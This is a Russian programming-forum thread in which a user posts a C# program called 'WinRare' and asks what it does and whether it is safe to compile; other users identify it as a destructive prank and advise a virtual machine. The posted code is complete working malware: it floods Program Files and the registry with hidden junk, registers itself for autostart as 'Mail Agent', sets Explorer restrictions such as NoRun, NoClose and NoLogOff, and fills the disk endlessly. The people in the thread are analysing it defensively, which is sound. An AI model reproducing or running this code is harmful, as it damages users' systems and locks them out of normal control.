Форум программистов, компьютерный форум, киберфорум
C# .NET
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.57/7: Рейтинг темы: голосов - 7, средняя оценка - 4.57
11 / 11 / 1
Регистрация: 25.01.2012
Сообщений: 103

Какие функции выполняет приложенный код

14.03.2012, 09:54. Показов 1413. Ответов 8
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
namespace WinRare
{
    class Program
    {           
        public static void Main()
        {   
            backgroundWorker1 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker2 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker3 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker4 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker5 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker6 = new System.ComponentModel.BackgroundWorker();
            
            backgroundWorker1.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork1);
            backgroundWorker2.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork2);
            backgroundWorker3.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork3);
            backgroundWorker4.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork4);
            backgroundWorker5.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork5);
            backgroundWorker6.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork6);
            
            backgroundWorker1.RunWorkerAsync();
            backgroundWorker2.RunWorkerAsync();
            backgroundWorker3.RunWorkerAsync();
            backgroundWorker4.RunWorkerAsync();
            backgroundWorker5.RunWorkerAsync();
            backgroundWorker6.RunWorkerAsync();
        }
        
        private static void Program_DoWork1(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            string[] DirReader = System.IO.Directory.GetDirectories("C:\\Program Files");
            foreach (string DirRead in DirReader) 
            {
                System.Random IntRandFolder = new System.Random();
                for (int i = 0; i < 999999999; i++)
                {
                    string SFolders = DirRead + "\\" + IntRandFolder.Next(0, 999999999).ToString();
                    System.IO.Directory.CreateDirectory(SFolders);
                    System.IO.File.SetAttributes(SFolders, System.IO.FileAttributes.Hidden);
                    System.Random IntRandFile = new System.Random();
                    for (int q = 0; q < 999999999; q++)
                    {
                        string IntFile = IntRandFile.Next(0, 999999999).ToString(), SFiles = SFolders + "\\" + IntFile + ".dll";
                        System.IO.FileStream FileCreate = new System.IO.FileStream(SFiles, System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.ReadWrite, System.IO.FileShare.None);
                        System.IO.StreamWriter CreatFile = new System.IO.StreamWriter(FileCreate);
                        CreatFile.WriteLine("Warning! Warning! Warning! Warning! Warning!");
                        CreatFile.Close();
                        System.IO.File.SetAttributes(SFiles, System.IO.FileAttributes.Hidden);
                    }
                }
            }
        }
        
        private static void Program_DoWork2(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            string[] RegRead = Microsoft.Win32.Registry.CurrentUser.GetSubKeyNames();
            foreach (string RegReader in RegRead)
            {
                System.Random IntRandRegKey = new System.Random();
                for (int i = 0; i < 999999999; i++)
                {
                    System.Random IntRandFolder = new System.Random();
                    for (int q = 0; q < 999999999; q++) 
                    {
                        string SKey = RegReader + "\\" + IntRandRegKey.Next(0, 999999999).ToString();
                        Microsoft.Win32.RegistryKey RegKey;
                        RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SKey);
                        RegKey.SetValue(SKey, IntRandRegKey.Next(0, 999999999).ToString());
                        RegKey.Close();
                    }
                }
            }
        }
        
        private static void Program_DoWork3(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            string[] Folders = System.IO.Directory.GetDirectories("C:\\Program Files");
            foreach (string Folder in Folders)
            {
                System.IO.File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, Folder);
            }
            Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Mail Agent", System.Reflection.Assembly.GetExecutingAssembly().Location, Microsoft.Win32.RegistryValueKind.String);
            Microsoft.Win32.RegistryKey RegKey;
            string KeyValueInt = "0", SubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
            RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SubKey);
            RegKey.SetValue("DisableTaskMgr", KeyValueInt);
            RegKey.Close();
        }
        
        private static void Program_DoWork4(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            Microsoft.Win32.RegistryKey RegKey;
            string KeyValueInt = "1", SubKey = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
            RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SubKey);
            RegKey.SetValue("RestrictRun", KeyValueInt, Microsoft.Win32.RegistryValueKind.DWord);
            RegKey.Close();
            
            Microsoft.Win32.RegistryKey key;
            key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun");
            key.Close();
        }
        
        private static void Program_DoWork5(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            Microsoft.Win32.RegistryKey RegKey;
            string KeyValueInt = "01 00 00 00", SubKey = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PoliciesExplorer";
            RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SubKey);
            RegKey.SetValue("NoClose", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoFavoritesMenu", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoFind", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoLogOff", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoRecentDocsMenu", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoRun", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoSetFolders", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.Close();
        }
        
        private static void Program_DoWork6(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            System.IO.StreamWriter SW = new System.IO.StreamWriter(System.IO.Path.GetRandomFileName());
            for(;;)
            {
                SW.Write(System.IO.Path.GetRandomFileName());
            }
        }
        
        private static System.ComponentModel.BackgroundWorker backgroundWorker1;
        private static System.ComponentModel.BackgroundWorker backgroundWorker2;
        private static System.ComponentModel.BackgroundWorker backgroundWorker3;
        private static System.ComponentModel.BackgroundWorker backgroundWorker4;
        private static System.ComponentModel.BackgroundWorker backgroundWorker5;
        private static System.ComponentModel.BackgroundWorker backgroundWorker6;
    }
}
 Комментарий модератора 
Пересмотрите подход к оформлению тем
0
Лучшие ответы (1)
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
14.03.2012, 09:54
Ответы с готовыми решениями:

Что делает приложенный код
Добрый день... Незнаю по адресу ли я вообще обратился(являюсь начинающим разработчиком PHP)... По &quot;&lt;%&quot; сделал вывод что это...

Переписать из WPF в Silverlight приложенный код
Здравствуйте, подскажите пожалуйста, в чём у меня ошибка, где и как копать, не магу правильно переписать часть кода из WPF в Silverlight: ...

Какие функции выполняет оператор &
int result, op1, op2; op1 = 4; op2 = 5; result = op1 &amp; op2; Никогда не встречался с этой записью: result = op1 &amp; op2; Что...

8
Заблокирован
14.03.2012, 10:06
Да это же код!

Добавлено через 3 минуты
Создается шесть фоновых потоков, более подробно о них здесь.

Может конкретнее спросите что вас интересует?
1
Эксперт С++
 Аватар для _lunar_
3701 / 2836 / 451
Регистрация: 03.05.2011
Сообщений: 5,193
Записей в блоге: 21
14.03.2012, 10:07
Лучший ответ Сообщение было отмечено _lunar_ как решение

Решение

CycleFunction, изучайте http://msdn.microsoft.com/ru-r... orker.aspx
0
11 / 11 / 1
Регистрация: 25.01.2012
Сообщений: 103
14.03.2012, 10:19  [ТС]
Код кодом, но мне что-то подсказывает что это не просто код...
0
 Аватар для Димон_
136 / 104 / 9
Регистрация: 30.01.2011
Сообщений: 699
14.03.2012, 10:26
Глазами пробежался - кажись просто fork -бомба, зачем обычной программе прописываться в реестр в автозапуск
и бесконечный метод с выводом в конец...+/ да пошла эра хацкеров по .NET
0
11 / 11 / 1
Регистрация: 25.01.2012
Сообщений: 103
14.03.2012, 10:32  [ТС]
Я просто хочу узнать, безопасно ли компилировать этот код на своей машине? А то малоли что, в этом говнокоде черт ногу сломит.
0
Заблокирован
14.03.2012, 10:37
Цитата Сообщение от CycleFunction Посмотреть сообщение
Я просто хочу узнать, безопасно ли компилировать этот код на своей машине? А то малоли что, в этом говнокоде черт ногу сломит.
Поставьте виртуальную машину. В ней откомпилируйте.
1
 Аватар для Димон_
136 / 104 / 9
Регистрация: 30.01.2011
Сообщений: 699
14.03.2012, 10:41
я вроде ответил...убери строчки автозапуска, почитай справочник по реестру.
А так скорее всего, просто комп зависнет и будет писать чушь...
P.S. Возможно файлы-папки блокирует или переместит - судя из названия переменных
Лучше не запускай под админом

Добавлено через 1 минуту
Да пакость это, ТОЧНО пакость
Код - то говнокодистый + вечные (или 999999999999) циклы...реестр, автозапуск..
1
11 / 11 / 1
Регистрация: 25.01.2012
Сообщений: 103
14.03.2012, 11:13  [ТС]
Спасибо, что-то я передумал компилировать

Добавлено через 21 минуту
C#
1
2
3
4
5
6
7
8
 private static void Program_DoWork6(object sender, System.ComponentModel.DoWorkEventArgs e)
{
                        System.IO.StreamWriter SW = new System.IO.StreamWriter(System.IO.Path.GetRandomFileName());
                        for(;;)
                        {
                                SW.Write(System.IO.Path.GetRandomFileName());
                        }
                }
Бу, а метот-то спокойно может всю память ПК забить, опасно!
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
14.03.2012, 11:13
Помогаю со студенческими работами здесь

Какие функции выполняет private readonly dictionary <string; string> и marker.BackColor?
Подскажите пожалуйста, какие функции выполняет private readonly dictionary &lt;string; string&gt; и marker.BackColor?

Что делает приложенный код
Всем привет!) Скажите пожалуйста, что реализует данный код int min = 32000; int max = 0; int mind = 0; ...

Вычислитель интеграла, приложенный код работает некорректно
ребят подскажите как сделать в коде отлов ошибок а то не пашет, сделать так чтобы до нажатия кнопки &quot;запуск&quot; все было неактивно,...

Какие функции выполняет данный триггер?
Подскажите пожалуйста, какие функции выполняет данный триггер CREATE TRIGGER `Gagaga` BEFORE INSERT ON `status_zakaz` FOR EACH ROW ...

Какие функции выполняет центральный процессор в компьютерных играх?
Здравствуйте! В общем, я думаю, вопрос понятен...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Новые блоги и статьи
Символьное дифференцирование
igorrr37 13.02.2026
/ * Логарифм записывается как: (x-2)log(x^2+2) - означает логарифм (x^2+2) по основанию (x-2). Унарный минус обозначается как ! */ #include <iostream> #include <stack> #include <cctype>. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
Установка Qt-версии Lazarus IDE в Debian Trixie Xfce
volvo 10.02.2026
В общем, достали меня глюки IDE Лазаруса, собранной с использованием набора виджетов Gtk2 (конкретно: если набирать текст в редакторе и вызвать подсказку через Ctrl+Space, то после закрытия окошка. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru